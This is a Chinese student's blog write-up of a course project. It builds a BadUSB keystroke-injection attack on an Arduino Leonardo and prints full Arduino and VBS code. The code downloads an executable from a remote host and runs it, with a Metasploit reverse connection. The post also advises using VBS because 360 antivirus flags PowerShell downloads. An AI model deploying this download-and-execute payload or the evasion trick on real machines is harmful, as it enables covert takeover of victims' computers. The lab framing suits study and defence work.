20155213免考项目——简易的HIDAttack

听5214说他做不出来自己的免考项目,于是就转向bof进阶,并且成功做出了64位的ROP攻击......
既然如此,那我就再做一个吧,但都已经期末了,就选择了一项入手简单的HID攻击的东西,就这么做了一个简易的HIDAttack,没有深研究过,肯定有很多叙述不周到,做法有问题,还请原谅我这个小caiji。

0x01 介绍

BadUSB原理

我这里做的HIDAttack选择的是BadUSB那一项,先简单介绍一下HID是啥,Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等,具体的解释可以百度,多得很。这里能用到的信息就是如果逆向编程使用HID的设备,就可以实现,随意变换计算机识别的设备类型。

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

我选择的USB设备是一块Arduino板子,是LEORADO型的,其他的不能用除了Micro型(很小很便宜)的,淘宝上可以买的到。

0x02 编译上传&exploit

这里我们跳过Arduino编程和后面将要使用到的powershell编程和VBS编程介绍内容,网上很多很多

具体流程

  1. 使用arduino里面的Keyboard模块编写一个脚本,用该脚本下载运行远程恶意程序
  • 使用的脚本是VBS脚本,Windows里面自带有解释VBS脚本的解释器(WScript.exe)
  • 使用VBS是自己想到的,网上教程使用的是PowerShell的下载功能,(Powershell是一种类似bash的终端程序)
  1. 在远程Kali开启Apache服务,并上传恶意程序,用以提供下 载
  2. 开启msf,并设置运行反弹连接模块
  3. 编译上传arduino代码到板子上,拔插USB数据线,此时arduino板子会自动运行之前烧进去的代码
  4. 静坐等待就好了

代码解析

#include <Keyboard.h>void setup() {delay(3000);Keyboard.begin();Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.press(KEY_LEFT_GUI);Keyboard.press('r');Keyboard.releaseAll();delay(100);Keyboard.println("cmd /c powershell");delay(100);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(1000);Keyboard.println("notepad ");delay(1000);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);Keyboard.press(KEY_LEFT_SHIFT);delay(1000);Keyboard.println("on error resume next \nSet Post = CreateObject\(\"Msxml2.XMLHTTP\"\)\nSet Shell = CreateObject\(\"Wscript.Shell\"\)\nPost.Open \"GET\",\"http://192.168.43.28/bd5213.gif\",0\nPost.Send\(\)\nSet aGet = CreateObject\(\"ADODB.Stream\"\)\naGet.Mode = 3\naGet.Type = 1\naGet.Open\(\)\naGet.Write\(Post.responseBody\)\naGet.SaveToFile \"d:\\bd5213.exe\",2\nwscript.sleep 1000\nShell.AppActivate \"C:\\Windows\\system32\\CMD.exe\"\nShell.SendKeys \"exit~\"\nShell.Run \(\"d:\\bd5213.exe\"\)");delay(1000);Keyboard.release(KEY_LEFT_SHIFT);Keyboard.press(KEY_LEFT_CTRL);Keyboard.press('s');Keyboard.releaseAll();delay(500);Keyboard.println("bd5213.vbs ");delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);Keyboard.press(KEY_LEFT_ALT);Keyboard.press(KEY_F4);Keyboard.releaseAll();delay(500);Keyboard.println("./bd5213.vbs ");delay(500);Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);}void loop() {// put your main code here, to run repeatedly:}

Arduino的Keyboard模块编程也就如下这几个函数

#include<Keyboard.h>  //包含键盘模块的头文件Keyboard.begin();  //开启键盘通信Keyboard.press();  //按下某个键Keyboard.release(); //释放某个键Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/Keyboard.end();  //结束键盘通信
  • 这里说一下上面的逻辑,就是先打开运行,然后输入cmd /c powershell,即运行powershell,随后用其打开一个txt文件,向里面输入vbs脚本代码(脚本文件后面具体解释),键入CTRL+Sbd5213.vbs保存文件,关闭txt文本窗口,在刚才的终端里运行脚本文件。

  • 上面的VBS脚本文件,主要是用来下载远程的恶意程序的并运行的,规范一下写法

on error resume next
sET pOST = cREATEoBJECT("mSXML2.xmlhttp")
sET sHELL = cREATEoBJECT("wSCRIPT.sHELL")
pOST.oPEN "get","HTTP://192.168.43.28/BD5213.GIF",0
pOST.sEND()
sET AgET = cREATEoBJECT("adodb.sTREAM")
AgET.mODE = 3
AgET.tYPE = 1
AgET.oPEN()
AgET.wRITE(pOST.RESPONSEbODY)
AgET.sAVEtOfILE "D:\BD5213.EXE",2
WSCRIPT.SLEEP 1000
sHELL.aPPaCTIVATE "c:\wINDOWS\SYSTEM32\cmd.EXE"
sHELL.sENDkEYS "EXIT~"
sHELL.rUN ("D:\BD5213.EXE")
  • 代码都是字面意思,主要说一下第一句和倒数第三句

    • 第一句说的是,如果运行出错,但不报错,并继续往下运行,这样做的好处是防止运行时出问题,调出一个提示框

      那就有点尴尬了。

    • 倒数第三句是将目前桌面焦点放到指定的正在运行的程序上,这里的目的是为了关闭不用的终端

  • 有几个细节需要说一下:
    • arduino代码里需要开启大写键,是为了防止中文输入,这也导致写在txt文件里的代码大小写很乱(本来想按住shift键强制转换结果还是乱的),但不影响,WScript并不care大小写问题
    • 网上教程都是用powershell来下载恶意程序的,但是powershell被360监视的太狠了,每次下载都要报提示,但VBS下载就不会,使用的是HTTP的get,且没有被监视,所以就换成了VBS的

exploit就不多说了,使用的是实验三做了免杀的一个程序

0x03 操作实现

完成上述过程后,插入USB即可,我录了一段视频,简单感受一下粗犷的攻击方式

视频链接

转载于:https://www.cnblogs.com/elevator/p/9221664.html

20155213免考项目——简易的HIDAttack相关推荐

  1. QT入门项目--简易计算器

    QT入门项目–简易计算器 目录 QT入门项目--简易计算器 一.前言 二.运行界面 三.代码 dialog.cpp doexpr.cpp check.cpp 四.总结 一.前言 C语言快要结课了,自然 ...

  2. Web学习(五)中期项目-简易拳皇

    Web学习(五)中期项目-简易拳皇 项目参考地址:https://git.acwing.com/yxc/kof 游戏的基本原理:主要依靠requestAnimationFrame实现,该函数会在下次浏 ...

  3. eclipse编程 创建项目 简易教程

    eclipse编程 创建项目 简易教程 应对机考 本文源于应对java的期中机考,当时有同学一直用记事本编程而不会用eclipse编程,由此产生了本文. 本文主要流程为:新建项目->新建类-&g ...

  4. 项目挂到iis 点击导入 未将对象引用设置到对象的实例_【WPF on .NET Core 3.0】 Stylet演示项目 简易图书管理系统(2)...

    上一章<[WPF on .NET Core 3.0] Stylet演示项目 - 简易图书管理系统(1)>中我们完成了一个简单的登录功能, 这一章主要演示如何对Stylet工程中的ViewM ...

  5. java收银台程序gui_javaSE小项目---简易收银台

    import java.util.Scanner; public class CheckStand{ public static void main(String[] args){ menu(); } ...

  6. Qt项目-----简易QQ(超详细,适合小白)

    创建新项目 新建项目,以Qt Widgets Application为模板 选择QWidget为基类 建立完成后,项目视图如下所示: 注意:建立好项目后,可以先编译运行下,确定建立的项目没有问题. 创 ...

  7. springboot+mybatis+vue WEB项目简易搭建文档

    图书管理系统架构文档 摘要 图书管理系统,拟用MySql作数据库,使用SpringBoot作为后端架构,并使用Maven作为后端项目管理组件,Java语言,数据库与后端稳定连接架构MyBatis,Vu ...

  8. 【WPF on .NET Core 3.0】 Stylet演示项目 - 简易图书管理系统(2)

    上一章< 回忆一下我们的登录逻辑,主要有以下4点: 当"用户名"或"密码"为空时, 是不允许登录的("登录"按钮处于禁用状态). 用户 ...

  9. ssh ssm mybitis逆向工程 项目 简易版下载 (经典适用初学者)

    链接:https://pan.baidu.com/s/10IM_tnI4fJsiwOAJMCDWeQ 密码:4itm ssm 访问链接 http://127.0.0.1:8080/ssm/UserCo ...

  10. 【Python】PyGithub+jinja2 生成Github项目简易海报

    ✨博文作者 wangzirui32

最新文章

  1. 《硝烟中的Scrum和XP》作者新作 《精益开发实战》
  2. python *args **kwargs
  3. go语言中append函数的使用
  4. Thread.yield()方法表示交出主动权,join表示等待当前线程,可以指定秒数
  5. java 多线程的同步问题_java多线程解决同步问题的几种方式,原理和代码
  6. 漫画:优秀程序员的必备特质有哪些?
  7. Python datetime 格式化字符串:strftime()
  8. 在C++里while语句的一个妙用
  9. Linux进程的管理与调度(七) -- Linux下2号进程的kthreadd
  10. python 两个list 求交集,并集,差集
  11. 个人作业——案例分析
  12. 物联网之NB-IoT技术实践开发二
  13. 天猫盒子 显示电脑连接服务器失败,天猫魔盒访问电脑共享文件需要密码的解决方法...
  14. LED小间距屏幕理解
  15. Oracle数据仓库参考架构
  16. numpy如何对txt文件读取_NumPy——文件读取与写入
  17. ASCII 编码对照表 一览表
  18. table如何正确的隐藏一列
  19. 安卓期末大作业——汉服社区(源码+任务书)
  20. 如何删除打开方式列表中的侯选

热门文章

  1. 关于欧几里德第五公设的感言
  2. Java中interface接口与abstract class抽象类的区别
  3. 【Oracle】解决问题:pl/sql developer 小钥匙图标下拉框中oracle连接串不加粗显示
  4. 如何写好 Java 业务代码?这也是有很多规范的!
  5. 如何优雅的调用第三方接口
  6. 小团队适合引入 Spring Cloud 微服务吗?
  7. 支付宝架构师的总结:为什么他们能抗住万亿级流量的高并发?
  8. 进入大厂的面试经验详细总结(P7 拿 offer)
  9. 2017年最具价值的十大开源项目:tensorflow 第一
  10. ThoughtWorks 2018技术雷达峰会(6月2日@深圳)